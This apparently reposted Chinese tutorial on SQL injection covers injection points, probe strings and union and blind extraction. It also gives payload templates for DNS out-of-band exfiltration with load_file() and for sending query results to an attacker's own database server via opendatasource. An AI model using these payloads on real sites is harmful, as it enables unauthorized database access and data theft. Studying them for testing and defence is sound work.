原理
SQL注入即用户输入sql语句被程序执行,破坏了程序与数据库之间的交互;故要进行sql注入,需知道程序使用何种数据库,执行了那些sql语句(增删查改),数据库的库名,表名等一些信息。
sql注入的一般步骤:
1。寻找输入点
一切可以输入数据的地方;
常见注入点一般为get,post,head(xff,ua,reffer),cookie
2。提交一些探测语句;
例如:
1)and1=1,and1=2,
2)算数运算(id=2-1)
3)逻辑运算符(and ,or,not)
4)排序:ASC,DESC
5)一些特殊符号:
‘,
两个单引号,
‘), “, “)
128个单引号或者一个a和127个单引号;
通配符(%,_)
反斜杠 \
有时可能存在宽字节注入,尝试提交%df
6)一些SQL函数,如延时函数sleep(),ascii()等等
7)一切合法的sql语句都可以用来探测
分析程序异常,猜测原因;
使用延时函数,程序进行了延时,则存在sql注入
如果页面报错,则可能存在sql注入
总之一句话,事出反常必有妖,仔细分析原因
多次差异输入验证;
如果猜测存在sql注入,先进行同类型语句探测,再进行其他探测,直到确定可以进行注入
攻击
1)union攻击:
使用联合查询,查看数据;union使用有两个条件,即字段数相同,字段类型兼容;确定字段数可以使用order by或者union select1,2,3…进行确定;字段类型可以使用union select ‘A’,NULL,NULL…,在null的位置替换其他数据类型;最后读取库名,表名,字段名和数据;
如果是盲注则需要if(),sleep(),ascii(),substr(),length()一个字符一个字符确定
head注入利用报错函数,例如updatexml()等
cookie注入可以使用document.cookie()或者burp抓包进行注入,当然也有插件
post注入可以先万能密码跑一波
有时可以利用偏移注入省略字段名:table.*
2)dns数据外带
利用smb服务将数据外带,前提条件是load_file()处于开启状态
关键语句load_file(concat(‘//’,'(查询语句)’,’.域名’))
然后利用dnslog平台读取数据
3)数据库反弹注入
条件:公网ip,与目标同样的数据库,目标站点存在堆叠注入
攻击语句:
insert into opendatasource(‘sqloledb’,’server=url,port;uid=uname;pwd=password;database=dataName’).dataName.dbo.tableName 查询语句 — qwe
来源:freebuf.com 2021-06-29 20:05:35 by: teenerKuo
请登录后发表评论
注册